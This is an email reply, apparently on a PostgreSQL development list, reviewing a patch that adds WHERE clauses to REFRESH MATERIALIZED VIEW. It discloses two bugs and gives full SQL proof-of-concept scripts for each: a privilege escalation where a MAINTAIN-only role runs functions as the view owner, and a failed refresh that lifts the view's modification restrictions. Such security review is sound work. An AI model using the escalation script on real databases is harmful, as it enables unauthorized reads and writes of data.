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Date: Wed, 27 May 2026 17:04:53 -0700
Message-ID: 
 <CAN4CZFOWWf7Lso10DNLmadkuHRt8aABsWNtidjqfpjrXkDU-ZQ@mail.gmail.com>
Subject: Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW
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Hello!

The patch in its current form has a security escalation bug, WHERE
functions are executed with the privileges of the owner, not the
maintainer. As one example, see the following script demonstrates
unprivileged write, but reads are also of course possible:

CREATE ROLE mvowner;
CREATE ROLE lowpriv;

CREATE SCHEMA atk AUTHORIZATION lowpriv;
CREATE TABLE loot (note text);
CREATE MATERIALIZED VIEW mv AS SELECT 1 AS id;
CREATE UNIQUE INDEX ON mv (id);

ALTER TABLE loot OWNER TO mvowner;
ALTER MATERIALIZED VIEW mv OWNER TO mvowner;
GRANT MAINTAIN ON mv TO lowpriv;

SET ROLE lowpriv;
GRANT USAGE ON SCHEMA atk TO mvowner;
CREATE FUNCTION atk.w() RETURNS void LANGUAGE plpgsql VOLATILE AS
$$ BEGIN INSERT INTO public.loot VALUES ('written by ' || current_user); END $$;
CREATE FUNCTION atk.p(int) RETURNS boolean LANGUAGE plpgsql STABLE AS
$$ BEGIN PERFORM atk.w(); RETURN true; END $$;

REFRESH MATERIALIZED VIEW mv WHERE atk.p(id);
RESET ROLE;

SELECT DISTINCT note FROM loot;

Only maintain permission + write access to any schema is required for it.


There's also another issue where an error during refresh removes the
modification restrictions:

CREATE TABLE base (id int, code int, val text);
INSERT INTO base VALUES (1, 100, 'a'), (2, 200, 'b'), (3, 300, 'c');
CREATE MATERIALIZED VIEW mv AS SELECT id, code, val FROM base;
CREATE UNIQUE INDEX mv_code_uq ON mv (code);
-- fails as it should
DELETE FROM mv WHERE id = 1;
-- will fail, as it should
UPDATE base SET code = 999 WHERE id IN (1, 2);
REFRESH MATERIALIZED VIEW mv WHERE id <= 2;
-- succeeds, but it shouldn't
DELETE FROM mv WHERE id = 1;
-- we can also insert now
INSERT INTO mv (id, code, val) VALUES (42, 4242, 'injected');